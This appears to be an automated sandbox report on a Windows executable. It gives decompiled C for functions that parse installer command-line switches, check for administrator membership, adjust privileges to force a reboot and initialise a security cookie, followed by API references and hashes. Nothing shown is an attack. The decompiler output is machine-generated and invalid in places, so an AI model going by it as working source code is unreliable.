			E010C5C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E010C6CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E010C6E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0x10c8004; // 0x4b13cf70
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E010C597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E010C44B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0x10c9124 = E010C6285();
									_t75 = 0;
								}
								return E010C6CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E010C44B9(0, 0x521, 0x10c1140, 0, 0x40, 0);
												_t85 =  *0x10c8588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E010C667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E010C667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E010C5C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E010C1680(0x10c8c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E010C667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E010C667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0x10c8a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
															_t202 =  &_v276;
															_v276 = _t170;
															if(E010C5C17(_t217,  &_v276) == 0) {
																goto L49;
															} else {
																_t104 = CharUpperA(_v267);
																_t218 = 0x10c8b3e;
																_t105 = _v276;
																if(_t104 != 0x54) {
																	_t218 = 0x10c8a3a;
																}
																E010C1680(_t218, 0x104, _t105 + _t170 +  &_v268);
																_t202 = 0x104;
																E010C658A(_t218, 0x104, 0x10c1140);
																if(E010C31E0(_t218) != 0) {
																	goto L50;
																} else {
																	goto L106;
																}
															}
														}
													}
												} else {
													_t111 = _t100 - 0xa;
													if(_t111 == 0) {
														if(_v266 != 0) {
															if(_v266 != 0x3a) {
																goto L49;
															} else {
																_t199 = _v265;
																if(_t199 != 0) {
																	_t219 =  &_v265;
																	do {
																		_t219 = _t219 + 1;
																		_t115 = CharUpperA(_t199) - 0x45;
																		if(_t115 == 0) {
																			 *0x10c8a2c = 1;
																		} else {
																			_t200 = 2;
																			_t119 = _t115 - _t200;
																			if(_t119 == 0) {
																				 *0x10c8a30 = 1;
																			} else {
																				if(_t119 == 0xf) {
																					 *0x10c8a34 = 1;
																				} else {
																					_t209 = 0;
																				}
																			}
																		}
																		_t118 =  *_t219;
																		_t199 = _t118;
																	} while (_t118 != 0);
																}
															}
														} else {
															 *0x10c8a2c = 1;
														}
														goto L50;
													} else {
														_t127 = _t111 - 3;
														if(_t127 == 0) {
															if(_v266 != 0) {
																if(_v266 != 0x3a) {
																	goto L49;
																} else {
																	_t129 = CharUpperA(_v265);
																	if(_t129 == 0x31) {
																		goto L76;
																	} else {
																		if(_t129 == 0x41) {
																			goto L83;
																		} else {
																			if(_t129 == 0x55) {
																				goto L76;
																			} else {
																				goto L49;
																			}
																		}
																	}
																}
															} else {
																L76:
																_push(2);
																_pop(1);
																L83:
																 *0x10c8a38 = 1;
															}
															goto L50;
														} else {
															_t132 = _t127 - 1;
															if(_t132 == 0) {
																if(_v266 != 0) {
																	if(_v266 != 0x3a) {
																		if(CompareStringA(0x7f, 1, "RegServer", 0xffffffff,  &_v267, 0xffffffff) != 0) {
																			goto L49;
																		}
																	} else {
																		_t201 = _v265;
																		 *0x10c9a2c = 1;
																		if(_t201 != 0) {
																			_t220 =  &_v265;
																			do {
																				_t220 = _t220 + 1;
																				_t142 = CharUpperA(_t201) - 0x41;
																				if(_t142 == 0) {
																					_t143 = 2;
																					 *0x10c9a2c =  *0x10c9a2c | _t143;
																					goto L70;
																				} else {
																					_t145 = _t142 - 3;
																					if(_t145 == 0) {
																						 *0x10c8d48 =  *0x10c8d48 | 0x00000040;
																					} else {
																						_t146 = _t145 - 5;
																						if(_t146 == 0) {
																							 *0x10c9a2c =  *0x10c9a2c & 0xfffffffd;
																							goto L70;
																						} else {
																							_t147 = _t146 - 5;
																							if(_t147 == 0) {
																								 *0x10c9a2c =  *0x10c9a2c & 0xfffffffe;
																								goto L70;
																							} else {
																								_t149 = _t147;
																								if(_t149 == 0) {
																									 *0x10c8d48 =  *0x10c8d48 | 0x00000080;
																								} else {
																									if(_t149 == 3) {
																										 *0x10c9a2c =  *0x10c9a2c | 0x00000004;
																										L70:
																										 *0x10c8a28 = 1;
																									} else {
																										_t209 = 0;
																									}
																								}
																							}
																						}
																					}
																				}
																				_t144 =  *_t220;
																				_t201 = _t144;
																			} while (_t144 != 0);
																		}
																	}
																} else {
																	 *0x10c9a2c = 3;
																	 *0x10c8a28 = 1;
																}
																goto L50;
															} else {
																if(_t132 == 0) {
																	goto L98;
																} else {
																	L49:
																	_t209 = 0;
																	L50:
																	_t173 = _v272;
																	if( *_t173 != 0) {
																		goto L2;
																	} else {
																		break;
																	}
																}
															}
														}
													}
												}
											}
										} else {
											goto L106;
										}
									} else {
										L34:
										_t209 = 0;
										break;
									}
								}
							}
						}
						goto L131;
					}
					if( *0x10c8a2c != 0 &&  *0x10c8b3e == 0) {
						if(GetModuleFileNameA( *0x10c9a3c, 0x10c8b3e, 0x104) == 0) {
							_t209 = 0;
						} else {
							_t202 = 0x5c;
							 *((char*)(E010C66C8(0x10c8b3e, _t202) + 1)) = 0;
						}
					}
					_t63 = _t209;
				}
				L131:
			}

0x010c5c9e
0x010c5ca9
0x010c5cb0
0x010c5cb3
0x010c5cb6
0x010c5cb7
0x010c5cb8
0x010c5cbd
0x010c6204
0x010c5ccb
0x00000000
0x010c5ccb
0x010c5cd3
0x010c5cd7
0x010c5cf4
0x00000000
0x010c5cf4
0x010c5cf8
0x010c5d00
0x00000000
0x010c5d06
0x010c5d06
0x010c5d0e
0x010c5d10
0x010c5d12
0x010c5d14
0x010c5d15
0x010c5d17
0x010c5d49
0x00000000
0x00000000
0x00000000
0x00000000
0x010c5d19
0x010c5d19
0x010c5d1d
0x00000000
0x010c5d3f
0x010c5d3f
0x010c5d4b
0x010c5d4b
0x010c5d4f
0x010c5d8d
0x00000000
0x010c5d93
0x010c5d93
0x010c5d9a
0x010c5d9d
0x010c5d9e
0x00000000
0x010c5d9e
0x010c5d51
0x010c5d5b
0x010c5d72
0x010c60fb
0x010c60fb
0x010c6207
0x010c620a
0x010c620b
0x010c620e
0x010c6217
0x010c5d78
0x010c5d78
0x010c5d80
0x010c5d83
0x010c5d84
0x00000000
0x010c5d84
0x010c5d5d
0x010c5d5f
0x010c5d62
0x010c5d68
0x010c5d64
0x010c5d64
0x010c5d64
0x00000000
0x010c5d62
0x010c5d5b
0x010c5d4f
0x010c5d1d
0x00000000
0x010c5d9f
0x010c5d9f
0x010c5da5
0x010c5dab
0x010c5dba
0x010c6218
0x010c621d
0x010c6220
0x010c6221
0x010c6229
0x010c6230
0x010c6247
0x010c626a
0x010c6272
0x010c6249
0x010c6255
0x010c625f
0x010c6264
0x010c6264
0x010c6284
0x010c5dc0
0x010c5dc0
0x010c5dca
0x010c5e22
0x00000000
0x00000000
0x00000000
0x00000000
0x010c5dcc
0x010c5dce
0x010c5e24
0x010c5e24
0x010c5e2c
0x010c5e47
0x010c5e4a
0x010c61d2
0x010c61e2
0x010c61e7
0x010c61ee
0x010c61f1
0x010c61f1
0x010c61f8
0x010c61f8
0x010c5e50
0x010c5e53
0x010c6109
0x010c611f
0x00000000
0x010c6125
0x010c6137
0x010c613a
0x010c613c
0x010c613e
0x010c613e
0x010c6141
0x010c6141
0x010c6143
0x010c6144
0x010c614a
0x00000000
0x010c6150
0x010c6152
0x010c615c
0x010c6170
0x010c6172
0x010c617c
0x010c6190
0x010c6190
0x010c6196
0x010c61a5
0x00000000
0x010c61ab
0x010c61b9
0x010c61c6
0x010c61c6
0x010c617e
0x010c6180
0x010c618a
0x00000000
0x00000000
0x00000000
0x00000000
0x010c618a
0x010c615e
0x010c6160
0x010c616a
0x00000000
0x00000000
0x00000000
0x00000000
0x010c616a
0x010c615c
0x010c614a
0x010c610b
0x010c610e
0x010c610e
0x00000000
0x010c5e59
0x010c5e59
0x010c5e5c
0x010c604f
0x010c6056
0x00000000
0x010c605c
0x010c606e
0x010c6071
0x010c6073
0x010c6075
0x010c6075
0x010c6078
0x010c6078
0x010c607a
0x010c607b
0x010c6081
0x00000000
0x010c6087
0x010c6087
0x010c608d
0x010c609c
0x00000000
0x010c60a2
0x010c60aa
0x010c60b2
0x010c60b7
0x010c60bd
0x010c60bf
0x010c60bf
0x010c60d6
0x010c60e0
0x010c60e7
0x010c60f5
0x00000000
0x00000000
0x00000000
0x00000000
0x010c60f5
0x010c609c
0x010c6081
0x010c5e62
0x010c5e62
0x010c5e65
0x010c5fd3
0x010c5fe9
0x00000000
0x010c5fef
0x010c5fef
0x010c5ff7
0x010c5ffd
0x010c6003
0x010c6006
0x010c6011
0x010c6014
0x010c603d
0x010c6016
0x010c6018
0x010c6019
0x010c601b
0x010c6033
0x010c601d
0x010c6020
0x010c6029
0x010c6022
0x010c6022
0x010c6022
0x010c6020
0x010c601b
0x010c6042
0x010c6044
0x010c6046
0x010c604a
0x010c5ff7
0x010c5fd5
0x010c5fd8
0x010c5fd8
0x00000000
0x010c5e6b
0x010c5e6b
0x010c5e6e
0x010c5f8b
0x010c5f99
0x00000000
0x010c5f9f
0x010c5fa7
0x010c5faf
0x00000000
0x010c5fb1
0x010c5fb3
0x00000000
0x010c5fb5
0x010c5fb7
0x00000000
0x010c5fb9
0x00000000
0x010c5fb9
0x010c5fb7
0x010c5fb3
0x010c5faf
0x010c5f8d
0x010c5f8d
0x010c5f8d
0x010c5f8f
0x010c5fc1
0x010c5fc1
0x010c5fc1
0x00000000
0x010c5e74
0x010c5e74
0x010c5e77
0x010c5ea0
0x010c5ebd
0x010c5f79
0x00000000
0x010c5f7f
0x010c5ec3
0x010c5ec3
0x010c5ecc
0x010c5ed4
0x010c5ed6
0x010c5edc
0x010c5edf
0x010c5eea
0x010c5eed
0x010c5f3f
0x010c5f40
0x00000000
0x010c5eef
0x010c5eef
0x010c5ef2
0x010c5f34
0x010c5ef4
0x010c5ef4
0x010c5ef7
0x010c5f2b
0x00000000
0x010c5ef9
0x010c5ef9
0x010c5efc
0x010c5f22
0x00000000
0x010c5efe
0x010c5eff
0x010c5f02
0x010c5f16
0x010c5f04
0x010c5f07
0x010c5f0d
0x010c5f46
0x010c5f46
0x010c5f09
0x010c5f09
0x010c5f09
0x010c5f07
0x010c5f02
0x010c5efc
0x010c5ef7
0x010c5ef2
0x010c5f4c
0x010c5f4e
0x010c5f50
0x010c5f54
0x010c5ed4
0x010c5ea2
0x010c5ea4
0x010c5eaf
0x010c5eaf
0x00000000
0x010c5e79
0x010c5e7d
0x00000000
0x010c5e83
0x010c5e83
0x010c5e83
0x010c5e85
0x010c5e85
0x010c5e8e
0x00000000
0x010c5e94
0x00000000
0x010c5e94
0x010c5e8e
0x010c5e7d
0x010c5e77
0x010c5e6e
0x010c5e65
0x010c5e5c
0x00000000
0x00000000
0x00000000
0x010c5dd0
0x010c5dd0
0x010c5dd0
0x00000000
0x010c5dd0
0x010c5dce
0x010c5dca
0x010c5dba
0x00000000
0x010c5d00
0x010c5dd9
0x010c5e04
0x010c61fe
0x010c5e0a
0x010c5e0c
0x010c5e17
0x010c5e17
0x010c5e04
0x010c6200
0x010c6200
0x00000000

APIs

CharNextA.USER32(?,00000000,?,?), ref: 010C5CEE
GetModuleFileNameA.KERNEL32(010C8B3E,00000104,00000000,?,?), ref: 010C5DFC
CharUpperA.USER32(?), ref: 010C5E3E
CharUpperA.USER32(-00000052), ref: 010C5EE1
CompareStringA.KERNEL32(0000007F,00000001,RegServer,000000FF,?,000000FF), ref: 010C5F6F
CharUpperA.USER32(?), ref: 010C5FA7
CharUpperA.USER32(-0000004E), ref: 010C6008
CharUpperA.USER32(?), ref: 010C60AA
CloseHandle.KERNEL32(00000000,010C1140,00000000,00000040,00000000), ref: 010C61F1
ExitProcess.KERNEL32 ref: 010C61F8

Strings

", xrefs: 010C5D78
:, xrefs: 010C6118
", xrefs: 010C612D
RegServer, xrefs: 010C5F66

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$"$:$RegServer
API String ID: 1203814774-25366791
Opcode ID: 1b2ba0023a2e9949127f1611155c3cbfa4b6138a17c6b557a5719f0c154200a5
Instruction ID: e6078d870a3371982ac7783e84f8104a9460b392d3ecd334f3b82013f98b4084
Opcode Fuzzy Hash: 1b2ba0023a2e9949127f1611155c3cbfa4b6138a17c6b557a5719f0c154200a5
Instruction Fuzzy Hash: E8D14775B042455EEB7A8B3C8C483FE3FE1AB56F04F0481EED5C6D6285D676A9828F40

Uniqueness

Uniqueness Score: -1.00%

Function 010C18A3 Relevance: 16.6, APIs: 11, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E010C18A3(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t23 ^ _t53;
				_t25 =  *0x10c8128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E010C6CE0(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E010C17EE( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0x10c8128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0x10c8128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x010c18a3
0x010c18a3
0x010c18ab
0x010c18b2
0x010c18b5
0x010c18be
0x010c18c0
0x010c18c6
0x010c18c7
0x010c18ca
0x010c18cf
0x010c19c9
0x010c19d8
0x010c19d8
0x010c18df
0x010c19b8
0x010c19bd
0x010c19bf
0x010c19bf
0x00000000
0x010c19bd
0x010c18fa
0x00000000
0x00000000
0x010c1912
0x010c19aa
0x010c19ad
0x010c19b3
0x00000000
0x010c1927
0x010c1927
0x010c1932
0x010c1936
0x010c19a9
0x010c19a9
0x00000000
0x010c19a9
0x010c194c
0x010c19a2
0x010c19a3
0x00000000
0x010c196e
0x010c1970
0x010c1999
0x010c199c
0x00000000
0x010c199c
0x010c1972
0x010c1972
0x010c1975
0x010c1984
0x010c1985
0x010c198a
0x00000000
0x00000000
0x00000000
0x010c198c
0x010c1991
0x010c1996
0x00000000
0x010c1996
0x010c194c

APIs

Part of subcall function 010C17EE: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,010C18DD), ref: 010C181A
Part of subcall function 010C17EE: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 010C182C
Part of subcall function 010C17EE: AllocateAndInitializeSid.ADVAPI32(010C18DD,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,010C18DD), ref: 010C1855
Part of subcall function 010C17EE: FreeSid.ADVAPI32(?,?,?,?,010C18DD), ref: 010C1883
Part of subcall function 010C17EE: FreeLibrary.KERNEL32(00000000,?,?,?,010C18DD), ref: 010C188A

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 010C18EB
OpenProcessToken.ADVAPI32(00000000), ref: 010C18F2
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 010C190A
GetLastError.KERNEL32 ref: 010C1918
LocalAlloc.KERNEL32(00000000,?,?), ref: 010C192C
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 010C1944
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 010C1964
EqualSid.ADVAPI32(00000004,?), ref: 010C197A
FreeSid.ADVAPI32(?), ref: 010C199C
LocalFree.KERNEL32(00000000), ref: 010C19A3
CloseHandle.KERNEL32(?), ref: 010C19AD

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 18869c3c050264640d2d04029292c705c4f209a5582c38e23ad7279273536ec1
Instruction ID: bb52c257ad3eea1c7fcc367180508a0f05145595d0ab2a253fcc98a6dc8a52ba
Opcode Fuzzy Hash: 18869c3c050264640d2d04029292c705c4f209a5582c38e23ad7279273536ec1
Instruction Fuzzy Hash: 39312A71A00209EFDB609FA5DC48AEFBBBCFF44B40F204469F685D2145E73699049F61

Uniqueness

Uniqueness Score: -1.00%

Function 010C1F90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94
shutdownCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E010C1F90(signed int __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* _v28;
				void* __ebx;
				signed int _t13;
				int _t21;
				void* _t25;
				int _t28;
				signed char _t30;
				void* _t38;
				void* _t40;
				void* _t41;
				signed int _t46;

				_t41 = __esi;
				_t38 = __edi;
				_t30 = __ecx;
				if((__ecx & 0x00000002) != 0) {
					L12:
					if((_t30 & 0x00000004) != 0) {
						L14:
						if( *0x10c9a40 != 0) {
							_pop(_t30);
							_t44 = _t46;
							_t13 =  *0x10c8004; // 0x4b13cf70
							_v8 = _t13 ^ _t46;
							_push(_t38);
							if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28) != 0) {
								LookupPrivilegeValueA(0, "SeShutdownPrivilege",  &(_v24.Privileges));
								_v24.PrivilegeCount = 1;
								_v12 = 2;
								_t21 = AdjustTokenPrivileges(_v28, 0,  &_v24, 0, 0, 0);
								CloseHandle(_v28);
								_t41 = _t41;
								_push(0);
								if(_t21 != 0) {
									if(ExitWindowsEx(2, ??) != 0) {
										_t25 = 1;
									} else {
										_t37 = 0x4f7;
										goto L3;
									}
								} else {
									_t37 = 0x4f6;
									goto L4;
								}
							} else {
								_t37 = 0x4f5;
								L3:
								_push(0);
								L4:
								_push(0x10);
								_push(0);
								_push(0);
								E010C44B9(0, _t37);
								_t25 = 0;
							}
							_pop(_t40);
							return E010C6CE0(_t25, _t30, _v8 ^ _t44, _t37, _t40, _t41);
						} else {
							_t28 = ExitWindowsEx(2, 0);
							goto L16;
						}
					} else {
						_t37 = 0x522;
						_t28 = E010C44B9(0, 0x522, 0x10c1140, 0, 0x40, 4);
						if(_t28 != 6) {
							goto L16;
						} else {
							goto L14;
						}
					}
				} else {
					__eax = E010C1EA7(__ecx);
					if(__eax != 2) {
						L16:
						return _t28;
					} else {
						goto L12;
					}
				}
			}

0x010c1f90
0x010c1f90
0x010c1f93
0x010c1f98
0x010c1fa4
0x010c1fa7
0x010c1fc5
0x010c1fcd
0x010c1fdb
0x010c1ee5
0x010c1eea
0x010c1ef1
0x010c1ef4
0x010c1f0c
0x010c1f2e
0x010c1f3a
0x010c1f46
0x010c1f4d
0x010c1f58
0x010c1f60
0x010c1f61
0x010c1f62
0x010c1f75
0x010c1f80
0x010c1f77
0x010c1f77
0x00000000
0x010c1f77
0x010c1f64
0x010c1f64
0x00000000
0x010c1f64
0x010c1f0e
0x010c1f0e
0x010c1f13
0x010c1f13
0x010c1f14
0x010c1f14
0x010c1f16
0x010c1f17
0x010c1f1a
0x010c1f1f
0x010c1f1f
0x010c1f86
0x010c1f8f
0x010c1fcf
0x010c1fd3
0x00000000
0x010c1fd3
0x010c1fa9
0x010c1fb4
0x010c1fbb
0x010c1fc3
0x00000000
0x00000000
0x00000000
0x00000000
0x010c1fc3
0x010c1f9a
0x010c1f9a
0x010c1fa2
0x010c1fd9
0x010c1fda
0x00000000
0x00000000
0x00000000
0x010c1fa2

APIs

GetCurrentProcess.KERNEL32(00000028,?,?), ref: 010C1EFB
OpenProcessToken.ADVAPI32(00000000), ref: 010C1F02
ExitWindowsEx.USER32(00000002,00000000), ref: 010C1FD3

Strings

SeShutdownPrivilege, xrefs: 010C1F28

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Process$CurrentExitOpenTokenWindows
String ID: SeShutdownPrivilege
API String ID: 2795981589-3733053543
Opcode ID: 71a44dc21e15a54ae6cb65c4c049e5225a6da921cc3fd8078f5e658fbf1135b0
Instruction ID: 3f1daa4911131172c41b886d44901991dedd89f319864bdbfd6676f79a25117a
Opcode Fuzzy Hash: 71a44dc21e15a54ae6cb65c4c049e5225a6da921cc3fd8078f5e658fbf1135b0
Instruction Fuzzy Hash: 5221B671B40206EBDB315BA59C49FBF76B8EB85F50F20001DFA82D6186D77984029F61

Uniqueness

Uniqueness Score: -1.00%

Function 010C7176 Relevance: 7.5, APIs: 5, Instructions: 40
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010C7176(signed int __eax, void* __edi, signed int __esi) {
				signed int _t32;
				signed int _t33;
				signed int _t35;
				void* _t36;
				signed int _t38;
				void* _t40;

				_t38 = __esi;
				_t36 = __edi;
				if(__eax == __edi || (__esi & __eax) == 0) {
					GetSystemTimeAsFileTime(_t40 - 0xc);
					 *(_t40 - 4) =  *(_t40 - 8) ^  *(_t40 - 0xc);
					 *(_t40 - 4) =  *(_t40 - 4) ^ GetCurrentProcessId();
					 *(_t40 - 4) =  *(_t40 - 4) ^ GetCurrentThreadId();
					 *(_t40 - 4) = GetTickCount() ^  *(_t40 - 4) ^ _t40 - 0x00000004;
					QueryPerformanceCounter(_t40 - 0x14);
					_t32 =  *(_t40 - 0x10) ^  *(_t40 - 0x14) ^  *(_t40 - 4);
					_t35 = _t32;
					if(_t32 == _t36 || ( *0x10c8004 & _t38) == 0) {
						_t32 = 0xbb40e64f;
						_t35 = 0xbb40e64f;
					}
					 *0x10c8004 = _t35;
				}
				_t33 =  !_t32;
				 *0x10c8008 = _t33;
				return _t33;
			}

0x010c7176
0x010c7176
0x010c7178
0x010c7182
0x010c718e
0x010c7197
0x010c71a0
